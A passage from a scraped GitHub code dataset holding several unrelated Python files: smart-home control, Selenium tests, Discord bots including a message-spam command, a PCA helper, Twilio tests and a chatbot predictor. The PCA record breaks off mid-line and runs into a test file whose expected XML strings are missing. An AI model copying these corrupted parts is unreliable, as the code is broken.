"abc.abstractmethod", "line_number": 257, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 262, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 267, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 272, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 277, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 282, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 287, "usage_type": "attribute"}, {"api_name": "str_generator.unique_id", "line_number": 308, "usage_type": "call"}, {"api_name": "models.Session.create_session", "line_number": 311, "usage_type": "call"}, {"api_name": "models.Session", "line_number": 311, "usage_type": "name"}, {"api_name": "models.Session.load_from_database", "line_number": 331, "usage_type": "call"}, {"api_name": "models.Session", "line_number": 331, "usage_type": "name"}]}
{"seq_id": "72354529819", "text": "\"\"\"\n    AVM SmartHome Actor\n    ~~~~~~~~~~~~~~~~~~~\n\"\"\"\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass Actor(object):\n    \"\"\"\n    Represents a single SmartHome actor.\n    You usally don't create that class yourself, use FritzBox.get_actors\n    instead.\n    \"\"\"\n\n    def __init__(self, fritzbox, device):\n        self.box = fritzbox\n\n        self.actor_id = device.attrib['identifier']\n        self.device_id = device.attrib['id']\n        self.name = device.find('name').text\n        self.fwversion = device.attrib['fwversion']\n        self.productname = device.attrib['productname']\n        self.manufacturer = device.attrib['manufacturer']\n        self.functionbitmask = int(device.attrib['functionbitmask'])\n\n        self.has_powermeter = self.functionbitmask & (1 << 7) > 0\n        self.has_temperature = self.functionbitmask & (1 << 8) > 0\n        self.has_switch = self.functionbitmask & (1 << 9) > 0\n        self.has_heating_controller = self.functionbitmask & (1 << 6) > 0\n\n        self.temperature = 0.0\n        if self.has_temperature:\n            if device.find(\"temperature\").find(\"celsius\").text is not None:\n                self.temperature = int(device.find(\"temperature\").find(\"celsius\").text) / 10\n            else:\n                logger.info(\"Actor \" + self.name + \" seems offline. Returning None as temperature.\")\n                self.temperature = None\n\n        self.target_temperature = 0.0\n        self.target_temperature = 0.0\n        self.battery_low = True\n        if self.has_heating_controller:\n            hkr = device.find(\"hkr\")\n            if hkr is not None:\n                for child in hkr:\n                    if child.tag == 'tist':\n                        self.temperature = self.__get_temp(child.text)\n                    elif child.tag == 'tsoll':\n                        self.target_temperature = self.__get_temp(child.text)\n                    elif child.tag == 'batterylow':\n                        self.battery_low = (child.text == '1')\n\n    def switch_on(self):\n        \"\"\"\n        Set the power switch to ON.\n        \"\"\"\n        return self.box.set_switch_on(self.actor_id)\n\n    def switch_off(self):\n        \"\"\"\n        Set the power switch to OFF.\n        \"\"\"\n        return self.box.set_switch_off(self.actor_id)\n\n    def get_state(self):\n        \"\"\"\n        Get the current switch state.\n        \"\"\"\n        return bool(\n            int(self.box.homeautoswitch(\"getswitchstate\", self.actor_id))\n        )\n\n    def get_present(self):\n        \"\"\"\n        Check if the registered actor is currently present (reachable).\n        \"\"\"\n        return bool(\n            int(self.box.homeautoswitch(\"getswitchpresent\", self.actor_id))\n        )\n\n    def get_power(self):\n        \"\"\"\n        Returns the current power usage in milliWatts.\n        Attention: Returns None if the value can't be queried or is unknown.\n        \"\"\"\n        value = self.box.homeautoswitch(\"getswitchpower\", self.actor_id)\n        return int(value) if value.isdigit() else None\n\n    def get_energy(self):\n        \"\"\"\n        Returns the consumed energy since the start of the statistics in Wh.\n        Attention: Returns None if the value can't be queried or is unknown.\n        \"\"\"\n        value = self.box.homeautoswitch(\"getswitchenergy\", self.actor_id)\n        return int(value) if value.isdigit() else None\n\n    def get_temperature(self):\n        \"\"\"\n        Returns the current environment temperature.\n        Attention: Returns None if the value can't be queried or is unknown.\n        \"\"\"\n        #raise NotImplementedError(\"This should work according to the AVM docs, but don't...\")\n        value = self.box.homeautoswitch(\"gettemperature\", self.actor_id)\n        if value.isdigit():\n            self.temperature = float(value)/10\n        else:\n            self.temperature = None\n        return self.temperature\n\n    def __get_temp(self, value):\n        # Temperature is send from fritz.box a little weird\n        if value.isdigit():\n            value = float(value)\n            if value == 253:\n                return 0\n            elif value == 254:\n                return 30\n            else:\n                return value / 2\n        else:\n            return None\n\n    def get_target_temperature(self):\n        \"\"\"\n        Returns the actual target temperature.\n        Attention: Returns None if the value can't be queried or is unknown.\n        \"\"\"\n        value = self.box.homeautoswitch(\"gethkrtsoll\", self.actor_id)\n        self.target_temperature = self.__get_temp(value)\n        return self.target_temperature\n\n    def set_temperature(self, temp):\n        \"\"\"\n        Sets the temperature in celcius\n        \"\"\"\n\n        # Temperature is send to fritz.box a little weird\n        param = 16 + ( ( temp - 8 ) * 2 )\n        if param < 16:\n            param = 253\n            logger.info(\"Actor \" + self.name + \": Temperature control set to off\")\n        elif param >= 56:\n            param = 254\n            logger.info(\"Actor \" + self.name + \": Temperature control set to on\")\n        else:\n            logger.info(\"Actor \" + self.name + \": Temperature control set to \" + str(temp))\n\n        return self.box.homeautoswitch(\"sethkrtsoll\", self.actor_id, param)\n\n    def get_consumption(self, timerange=\"10\"):\n        \"\"\"\n        Return the energy report for the device.\n        \"\"\"\n        return self.box.get_consumption(self.device_id, timerange)\n\n    def reset_consumption(self):\n        \"\"\"\n        Resets the energy data stored on fritzbox for reports.\n        \"\"\"\n        return self.box.reset_consumption(self.device_id)\n\n    def __repr__(self):\n        return u\"\".format(self.name)\n", "repo_name": "DerMitch/fritzbox-smarthome", "sub_path": "fritzhome/actor.py", "file_name": "actor.py", "file_ext": "py", "file_size_in_byte": 5649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "22605029486", "text": "from selenium import webdriver\nimport time\nimport os\n\n\n# div 模块定位\n# 如果页面有多个div，需要定位的元素在某一个div里，可以优先定位这个div，在此基础上再定位该元素\ndriver = webdriver.Firefox()\nfile_path = 'file:///'+os.path.abspath(\"E:\\\\课件\\\\测试工具等\\\\selenium2html\\\\modal.html\")\ndriver.get(file_path)\ndriver.maximize_window()\ntime.sleep(3)\n\n# 点击主页的 click\ndriver.find_element_by_id(\"show_modal\").click()\ntime.sleep(3)\n\n# 点击 click me\ndiv1 = driver.find_element_by_class_name(\"modal-body\")\ndiv1.find_element_by_link_text(\"click me\").click()\ntime.sleep(3)\n\n# 定位 close\ndiv2 = driver.find_element_by_class_name(\"modal-footer\")\nbuttons = div2.find_element_by_tag_name(\"button\")\ntime.sleep(3)\nbuttons[0].click()\ntime.sleep(3)\n\ndriver.quit()", "repo_name": "matilda-art/Software-test", "sub_path": "selenium测试/operation/div.py", "file_name": "div.py", "file_ext": "py", "file_size_in_byte": 806, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "selenium.webdriver.Firefox", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 8, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 12, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 21, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "22846771585", "text": "import pokepy\nimport asyncio\n\nyour_window_name = \"mGBA - 0.10.1\" #replace 0.10.1 with your version\n\ngame = pokepy.Game(\"mGBA - 0.10.1\")\n\n#simple code that prompts you when it's your turn to play\n@game.event\nasync def on_combat():\n    print(game.json_info)\n    user_input = await asyncio.wait_for(asyncio.get_event_loop().run_in_executor(None, input, 'What you do?'), timeout=None)\n    if user_input == \"run\":\n        game.escape()\n    else:\n        for p in range(1,5):\n            if int(user_input) == p:\n                game.attack(p)\ngame.run()", "repo_name": "NoodlesXNoodles/Pokepy-Controller", "sub_path": "example.py", "file_name": "example.py", "file_ext": "py", "file_size_in_byte": 548, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pokepy.Game", "line_number": 6, "usage_type": "call"}, {"api_name": "asyncio.wait_for", "line_number": 12, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "72838640869", "text": "\"\"\"\r\nWELCOME TO GROUP'S E SUPERVISED PCA\r\nThis file contains the function PCAfunction that performs PCA on a data frame\r\n\r\nInputs:\r\n    - df: DATA FRAME subject of the PCA analysis\r\n    - colstodiscard: LIST of columns of df excluded from PCA analysis\r\n    - accuracy: NUMERIC value to indicate the selected accuracy of PCA\r\nOutput: \r\n    - df2: DATA FRANE that combines the output of the PCA analysis with the\r\n    columns that were discarded from the analysis\r\n\r\n\"\"\"\r\n\r\n\"\"\"\r\nNecessary imports\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.preprocessing import scale\r\n\r\n\"\"\"\r\nPCA function. It works by:\r\n    1) extracting the name of the columns from the data frame\r\n    2) using those names to filter the data frame by the columns to be \r\n    analyzed and generating another one with the columns to be discarded\r\n    (e.g. the TARGET variable)\r\n    3) Run PCA on the selected data frame\r\n    4) Identify the number of columns required to achieve the desired accuracy\r\n    and run PCA again only with those columns as output\r\n    5) Concatenate the result of PCA analysis and data frame with filtered\r\n    columns and return it\r\n\"\"\"\r\ndef PCAfunction(df, colstodiscard, accuracy):\r\n    #local variable to count optimal number for PCA\r\n    counter=0                       #count output columns from PCA\r\n    dfnames=df.columns.values       #obtain column names from data frame\r\n    dfnames = [ x for x in dfnames if x not in colstodiscard ]\r\n    \r\n    #Create output DF dtry with filtered columns and DF for the PCA analysis\r\n    dftry=df\r\n    for i in range(len(colstodiscard)):\r\n        df = df.drop(colstodiscard[i], axis=1)\r\n    for i in range(len(dfnames)):\r\n        dftry = dftry.drop(dfnames[i], axis=1)\r\n\r\n    #Converting and scaling the DF where the PCA will run     \r\n    dfasmatrix= df.as_matrix()      #to matrix\r\n    data=scale(dfasmatrix)          #scaled\r\n    \r\n    #running PCA, obtaining the maximum number of variables\r\n    pca = PCA(n_components=(len(dfnames)))\r\n    pca.fit(data)\r\n    var1=np.cumsum(np.round(pca.explained_variance_ratio_, decimals=4)*100)\r\n    print(var1)\r\n    #Use the ACCURACY parameter to draw the line of when to stop PCA\r\n    for i in range(len(var1)):\r\n        if(var1[i-1]'\n                b''\n                b''\n                b''\n                b'Please enter the nine digit payphone identification number'\n                b''\n                b''\n                b''\n            ),\n            self.app.post('/location').data\n        )\n\n    @patch('payphones.PayPhones.by_cabinet_id',\n           return_value=PAYPHONE_RESPONSE)\n    def test_id_recieved(self, by_cabinet_id):\n        self.assertXMLEqual(\n            b''\n            b''\n            b''\n            b'Payphone found in Wilton'\n            b''\n            b''\n            b''\n            b'Please enter, 1 for walking instructions, or 2 for public '\n            b'transportation instructions'\n            b''\n            b'',\n            self.app.post(\n                '/location/id_recieved',\n                data={'Digits': '089458082'}\n            ).data\n        )\n\n    @patch('payphones.PayPhones.by_cabinet_id',\n           return_value=[])\n    def test_id_recieved_phone_not_found(self, by_cabinet_id):\n        self.assertXMLEqual(\n            b''\n            b''\n            b''\n            b'Payphone could not be found'\n            b''\n            b''\n            b'',\n            self.app.post(\n                '/location/id_recieved',\n                data={'Digits': '089485082'}\n            ).data\n        )\n\n    @patch('server.gmaps.directions')\n    def test_payphone_found(self, directions):\n        directions.return_value = [{'legs': [{'steps': [\n            {\n                'html_instructions': 'Move forward Station.',\n                'travel_mode': 'WALKING'\n            }\n        ]}]}]\n        self.assertXMLEqual(\n            b''\n            b''\n            b'Move forward Station.'\n            b''\n            b'End of instructions'\n            b''\n                    b''\n                        b'Enter 1 to repeat instructions, or hang up.'\n                    b''\n            b''\n            b'',\n            self.app.post(\n                '/location/payphone_found',\n                query_string={'latlon': '123, 321'},\n                data={'Digits': '1'}\n            ).data\n        )\n\n    def test_invalid_transportation_mode(self):\n        self.assertXMLEqual(\n            b''\n            b''\n            b'Invalid input'\n            b''\n            b'',\n            self.app.post(\n                '/location/payphone_found',\n                query_string={'latlon': '123, 123'},\n                data={'Digits': '0'}\n            ).data\n        )\n\n    def test_parse_instruction(self):\n        from server import parse_instruction\n\n        self.assertEqual(\n            parse_instruction(\n                'Turn right to stay on Kent St'\n                '
Destination '\n                'will be on the left
'\n            ),\n            'Turn right to stay on Kent St . Destination will be on the left .'\n        )\n\n        self.assertEqual(\n            parse_instruction('Move forward Station'),\n            'Move forward Station .'\n        )\n\n    def test_easter_egg(self):\n        self.assertXMLEqual(\n            b''\n            b''\n            b'/static/Gorillaz%20-%20Film%20Music%20(Official%20Visual).mp3'\n            b''\n            b'',\n            self.app.post(\n                '/location/id_recieved',\n                data={'Digits': '123456789'}\n            ).data\n        )\n\n\nclass TestValidation(unittest.TestCase):\n    def test_validation(self):\n        res = checksum(\n            'https://mycompany.com/myapp.php?foo=1&bar=2',\n            {\n                'CallSid': 'CA1234567890ABCDE',\n                'Caller': '+14158675309',\n                'Digits': '1234',\n                'From': '+14158675309',\n                'To': '+18005551212',\n            },\n            '12345'\n        )\n\n        self.assertEqual(\n            res,\n            'RSOYDt4T1cUTdK1PDd93/VVr8B8='\n        )\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "repo_name": "Mause/menu_system", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 6098, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.WARN", "line_number": 11, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "server.app", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tempfile.mkstemp", "line_number": 16, "usage_type": "call"}, {"api_name": "server.app", "line_number": 17, "usage_type": "attribute"}, {"api_name": "server.app.test_client", "line_number": 18, "usage_type": "call"}, {"api_name": "server.app", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.close", "line_number": 21, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 22, "usage_type": "call"}, {"api_name": "server.app", "line_number": 22, "usage_type": "attribute"}, {"api_name": "lxml.etree.fromstring", "line_number": 36, "usage_type": "call"}, {"api_name": "lxml.etree.fromstring", "line_number": 37, "usage_type": "call"}, {"api_name": "formencode.doctest_xml_compare.xml_compare", "line_number": 39, "usage_type": "call"}, {"api_name": "lxml.etree.tostring", "line_number": 41, "usage_type": "call"}, {"api_name": "lxml.etree.tostring", "line_number": 42, "usage_type": "call"}, {"api_name": "formencode.doctest_xml_compare.xml_compare", "line_number": 43, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 61, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 84, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 101, "usage_type": "call"}, {"api_name": "server.parse_instruction", "line_number": 148, "usage_type": "call"}, {"api_name": "server.parse_instruction", "line_number": 157, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 175, "usage_type": "attribute"}, {"api_name": "server.checksum", "line_number": 177, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 196, "usage_type": "call"}]}
{"seq_id": "9064766531", "text": "import discord\nfrom discord.ext import commands\nimport datetime\n\nclass STREAM_INFO(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command(name='twitch', help='Get the Twitch channel link.')\n    async def twitch_link(self, ctx):\n        twitch_url = \"https://www.twitch.tv/lgodhatesmel\"\n        await ctx.send(f\"Here's the Twitch link:\\n{twitch_url}\")\n        \n        current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        author = ctx.message.author\n        command = ctx.command.name\n        print(f\"{current_time} - {author.name} used the *{command}* command.\")\n\n    @commands.command(name='youtube', help='Get the YouTube channel link.')\n    async def youtube_link(self, ctx):\n        youtube_url = \"https://www.youtube.com/@lGodHatesMel\"\n        await ctx.send(f\"Here's the Youtube link:\\n{youtube_url}\")\n        \n        current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        author = ctx.message.author\n        command = ctx.command.name\n        print(f\"{current_time} - {author.name} used the *{command}* command.\")\n\ndef setup(bot):\n    bot.add_cog(STREAM_INFO(bot))", "repo_name": "lGodHatesMel/RandomResources", "sub_path": "Scripts/Bots/GHM_DiscordBot/cogs/streams.py", "file_name": "streams.py", "file_ext": "py", "file_size_in_byte": 1153, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 5, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 5, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.command", "line_number": 9, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 9, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.command", "line_number": 19, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "11474912437", "text": "from sklearn.metrics import classification_report\nimport torch\nimport json\nimport numpy as np\nfrom phobert_finetuned import PhoBERT_finetuned\nfrom transformers import AutoModel,AutoTokenizer\nimport random\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# Load train and validation dataset\nwith open('content.json', 'r', encoding=\"utf-8\") as c:\n    contents = json.load(c)\n\ntags = []\nX = []\n\n\nfor content in contents['intents']:\n    tag = content['tag']\n    for pattern in content['patterns']:\n        X.append(pattern)\n        tags.append(tag)\n\ntags_set = sorted(set(tags))\n\nnum_class = len(tags_set)\nhidden_size = 512\nphobert = AutoModel.from_pretrained('vinai/phobert-base')\ntokenizer = AutoTokenizer.from_pretrained('vinai/phobert-base')\nmodel = PhoBERT_finetuned(phobert, hidden_size=hidden_size,\n                          num_class=num_class)\n# model = model.to(device)\n\nwith open('test_content.json', 'r', encoding=\"utf-8\") as c:\n    contents = json.load(c)\n\npath = 'saved_weights.pth'\nmodel.load_state_dict(torch.load(path, map_location=torch.device('cpu')))\n\n\n#func to predict input\ndef predict_PhoBERT(sentence):\n    token = tokenizer(sentence, max_length=13, padding='max_length',\n                      truncation=True)\n    X_mask = torch.tensor([token['attention_mask']])\n    X = torch.tensor([token['input_ids']])\n    with torch.no_grad():\n        preds = model(X, X_mask)\n    preds = torch.argmax(preds, dim=1)\n    tag = tags_set[preds.item()]\n    for content in contents['intents']:\n        if tag == content['tag']:\n            answer = random.choice(content['responses'])\n    return answer\n\n", "repo_name": "hkm15022001/Control_Smart_Home", "sub_path": "predict_using_phobert_finetuned.py", "file_name": "predict_using_phobert_finetuned.py", "file_ext": "py", "file_size_in_byte": 1631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.device", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 9, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "transformers.AutoModel.from_pretrained", "line_number": 29, "usage_type": "call"}, {"api_name": "transformers.AutoModel", "line_number": 29, "usage_type": "name"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 30, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 30, "usage_type": "name"}, {"api_name": "phobert_finetuned.PhoBERT_finetuned", "line_number": 31, "usage_type": "call"}, {"api_name": "json.load", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 50, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "73360892060", "text": "import discord\nimport os\nfrom discord import client\nfrom discord import channel\nfrom discord import message\n#import json\n#import requests\n#from keep_alive import keep_alive\n#COMMAND_PREFIX = \"&\"\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n    print(\"Bot is awake\")\n@client.event\nasync def on_message(message):\n    msg = message.content\n    if message.author.bot:\n        return\n    if msg.startswith(\"spam\"):\n        n = int(msg.split()[1])\n        if n > 100:\n            await message.channel.send(f\"Uh Uh max spam limit is capped at 100\")\n        else:\n            for i in range(n):\n                await message.channel.send(f\"{msg.split()[2:]}\")\n            await message.channel.send(f\"Succesfully spammed {n} times\")\nclient.run(os.environ.get(\"TOKEN\"))\n", "repo_name": "jeevesh2002/KodexBot", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "discord.client", "line_number": 10, "usage_type": "name"}, {"api_name": "discord.Client", "line_number": 10, "usage_type": "call"}, {"api_name": "discord.client.event", "line_number": 12, "usage_type": "attribute"}, {"api_name": "discord.client", "line_number": 12, "usage_type": "name"}, {"api_name": "discord.message.content", "line_number": 17, "usage_type": "attribute"}, {"api_name": "discord.message", "line_number": 17, "usage_type": "name"}, {"api_name": "discord.message.author", "line_number": 18, "usage_type": "attribute"}, {"api_name": "discord.message", "line_number": 18, "usage_type": "name"}, {"api_name": "discord.message.channel.send", "line_number": 23, "usage_type": "call"}, {"api_name": "discord.message.channel", "line_number": 23, "usage_type": "attribute"}, {"api_name": "discord.message", "line_number": 23, "usage_type": "name"}, {"api_name": "discord.message.channel.send", "line_number": 26, "usage_type": "call"}, {"api_name": "discord.message.channel", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.message", "line_number": 26, "usage_type": "name"}, {"api_name": "discord.message.channel.send", "line_number": 27, "usage_type": "call"}, {"api_name": "discord.message.channel", "line_number": 27, "usage_type": "attribute"}, {"api_name": "discord.message", "line_number": 27, "usage_type": "name"}, {"api_name": "discord.client.event", "line_number": 15, "usage_type": "attribute"}, {"api_name": "discord.client", "line_number": 15, "usage_type": "name"}, {"api_name": "discord.client.run", "line_number": 28, "usage_type": "call"}, {"api_name": "discord.client", "line_number": 28, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 28, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}]}
{"seq_id": "1265262116", "text": "import urllib.request\nimport datetime\nimport json\nfrom connection import *\nfrom functions import *\n\nimport logging\n\nlogging.basicConfig(filename='yttracker.log', level=logging.DEBUG,\n                    format='%(asctime)s %(levelname)s %(name)s %(message)s')\nlogger = logging.getLogger(__name__)\n\n# establish db connection\nconnection = get_connection()\n\n\n# get channels info and push to db\ndef channels(channel_id, api_key):\n    try:\n        # get api request url\n        request_url = 'https://www.googleapis.com/youtube/v3/channels?id=' + channel_id + '&key=' + api_key + '&part=snippet'\n\n        # get response from api\n        with urllib.request.urlopen(request_url) as url:\n            data = json.loads(url.read().decode())\n\n            # get channel info\n            channel_id = data['items'][0]['id']  # get channel id\n            channel_title = data['items'][0]['snippet']['title']  # get the name displayed in channel\n            thumbnails_medium_url = data['items'][0]['snippet']['thumbnails']['medium'][\n                'url']  # get medium thumbnail url\n            # description = data['items'][0]['snippet']['description']\t\t\t\t            # get the description of channel\n            description = ''\n            joined_date = normalize_metadate(data['items'][0]['snippet']['publishedAt'])  # get joined date\n            added_to_db_time = '{0:%Y-%m-%d %H:%M:%S}'.format(datetime.datetime.now())  # get added to db time\n            # playlist_id = get_playlist_id(channel_id)                                           # get playlist id from channel id\n            try:\n                location = data['items'][0]['snippet']['country']  # get location/country\n            except:\n                location = 'N/A'\n            language = get_language(description)  # get language of channnel description\n\n            with connection.cursor() as cursor:\n                cursor.execute(\"\"\"INSERT INTO channels (channel_id, channel_title, thumbnails_medium_url, description, joined_date, added_to_db_time, location, language) \n                            VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\"\",\n                               (channel_id,\n                                channel_title,\n                                thumbnails_medium_url,\n                                description,\n                                joined_date,\n                                added_to_db_time,\n                                location,\n                                language\n                                ))\n                connection.commit()\n\n    except Exception as err:\n        logger.error(err)\n", "repo_name": "Abdullah-Al-Faysal/yt_trending_videos_crawler", "sub_path": "channels.py", "file_name": "channels.py", "file_ext": "py", "file_size_in_byte": 2608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 24, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 24, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 24, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "attribute"}, {"api_name": "connection.cursor", "line_number": 43, "usage_type": "call"}, {"api_name": "connection.commit", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "41884428955", "text": "from django.urls import path, include\nfrom . import views\n\n\napp_name = 'core'\nurlpatterns = [\n    path('', views.homepage, name=\"home_page\"),\n    path('search/', views.AssessmentSearchView.as_view(), name=\"search\"),\n    path('answer/', views.viewAnswers, name='view_answers'),\n    path('upload/', views.upload_paper, name=\"upload\"),\n    path('upvote/', views.upvote, name=\"upvote\"),\n    path('downvote/', views.downvote, name=\"downvote\"),\n    path('assessment/', views.AssessmentDetailView.as_view(), name=\"assessment_detail_view\"),\n    path('hitcount/', include(('hitcount.urls', 'hitcount'), namespace='hitcount')),\n    path('tagged/', views.taggedAssessemnt, name='tagged'),\n    path('manualQuestion/', views.saveQuestions, name='MsaveQ'),\n    path('addtolist/',views.addToList, name='addtollist'),\n    path('mylist/', views.viewMyList, name='myFav'),\n    ]\n", "repo_name": "salahdin/otpss", "sub_path": "otpss/core/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "42580202775", "text": "import numpy as np\nimport pandas as pd\nimport sqlite3\nfrom werkzeug.security import safe_str_cmp\nfrom flask_restful import Resource, reqparse\nfrom models.user import UserModel\nfrom flask_restplus import abort\n\nclass CollegeData(Resource):\n    parser = reqparse.RequestParser()\n\n    parser.add_argument('caste',\n        type=str,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )\n\n    parser.add_argument('university',\n        type=str,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )\n\n    parser.add_argument('department',\n        type=str,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )   \n\n    parser.add_argument('merit',\n        type=int,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )\n\n    parser.add_argument('gender',\n        type=str,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )\n\n    parser.add_argument('tfws',\n        type=str,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )\n\n    parser.add_argument('defs',\n        type=str,\n        required=True,\n        help=\"This field cannot be blank.\"\n    )\n\n\n    # def get(self):\n    #     df = pd.read_csv('pict_comp.csv')\n    #     return{\"data\" :df['GOPENH'].to_json(orient='values')}\n\n    def post(self):\n        data = CollegeData.parser.parse_args()\n        df = pd.read_csv('2019predicted.csv')\n        cb =pd.read_csv(\"2013-2018 Imputed10.csv\")\n        cd =pd.read_csv(\"college Details.csv\")\n        category = ''\n\n\n        if(data['tfws']==\"true\"):\n            category=\"TFWS\"\n        elif(data['defs']=='true'):\n            category=\"DEFS\"\n        else:\n            if data and safe_str_cmp(data.gender, 'male'):\n                category = 'G'\n            if data and safe_str_cmp(data.gender, 'female'):\n                category = 'L'\n            category = category + data['caste']\n            if data and safe_str_cmp(data.university, 'home'):\n                category = category + 'H'\n            if data and safe_str_cmp(data.university, 'other'):\n                category = category + 'O'\n        \n\n        # if data and safe_str_cmp(data.cast, 'TFWS'):\n        #     category = 'TFWS'\n        # 